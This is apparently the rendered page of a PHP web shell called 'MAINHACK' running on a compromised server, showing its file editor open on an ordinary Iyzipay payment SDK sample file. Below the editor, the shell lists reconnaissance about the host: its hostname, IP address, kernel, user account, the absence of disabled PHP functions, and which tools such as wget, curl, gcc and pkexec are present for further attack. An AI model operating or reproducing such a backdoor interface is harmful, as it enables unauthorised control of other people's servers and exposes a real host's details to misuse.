[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: initialize_iyziup_form.php
<?php require_once('config.php'); # create request class $request = new \Iyzipay\Request\CreateIyziupFormInitializeRequest(); $request->setLocale(\Iyzipay\Model\Locale::TR); $request->setConversationId("123456789"); $request->setMerchantOrderId("B67832"); $request->setPaymentGroup(\Iyzipay\Model\PaymentGroup::PRODUCT); $request->setPaymentSource("OPENCART-2.3.0.2"); $request->setForceThreeDS(0); $request->setEnabledInstallments(array(2, 3, 6, 9)); $request->setEnabledCardFamily("Bonus"); $request->setCurrency(\Iyzipay\Model\Currency::TL); $request->setPrice("1"); $request->setPaidPrice("1.2"); $request->setShippingPrice("0.2"); $request->setCallbackUrl("https://www.merchant.com/callback"); $request->setTermsUrl("https://www.merchant.com/terms"); $request->setPreSalesContractUrl("https://www.merchant.com/preSalesContract"); $orderItems = array(); $firstOrderItem = new \Iyzipay\Model\OrderItem(); $firstOrderItem->setId("BI101"); $firstOrderItem->setName("Binocular"); $firstOrderItem->setCategory1("Collectibles"); $firstOrderItem->setCategory2("Accessories"); $firstOrderItem->setItemType(\Iyzipay\Model\OrderItemType::PHYSICAL); $firstOrderItem->setPrice("0.3"); $firstOrderItem->setItemUrl("https://www.merchant.com/firstItem.html"); $firstOrderItem->setItemDescription("a handheld optical instrument composed of two telescopes and a focusing device and usually having prisms to increase magnifying ability"); $OrderItems[0] = $firstOrderItem; $secondOrderItem = new \Iyzipay\Model\OrderItem(); $secondOrderItem->setId("BI102"); $secondOrderItem->setName("Game code"); $secondOrderItem->setCategory1("Game"); $secondOrderItem->setCategory2("Online Game Items"); $secondOrderItem->setItemType(\Iyzipay\Model\OrderItemType::VIRTUAL); $secondOrderItem->setPrice("0.5"); $secondOrderItem->setItemUrl("https://www.merchant.com/secondItem.html"); $secondOrderItem->setItemDescription("Game Code can be used for online games"); $OrderItems[1] = $secondOrderItem; $thirdOrderItem = new \Iyzipay\Model\OrderItem(); $thirdOrderItem->setId("BI103"); $thirdOrderItem->setName("Usb"); $thirdOrderItem->setCategory1("Electronics"); $thirdOrderItem->setCategory2("Usb / Cable"); $thirdOrderItem->setItemType(\Iyzipay\Model\OrderItemType::PHYSICAL); $thirdOrderItem->setPrice("0.2"); $thirdOrderItem->setItemUrl("https://www.merchant.com/thirdItem.html"); $thirdOrderItem->setItemDescription("Universal Serial Bus"); $OrderItems[2] = $thirdOrderItem; $request->setOrderItems($OrderItems); # make request $iyziupFormInitialize = \Iyzipay\Model\IyziupFormInitialize::create($request, Config::options()); # print result print_r($iyziupFormInitialize);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002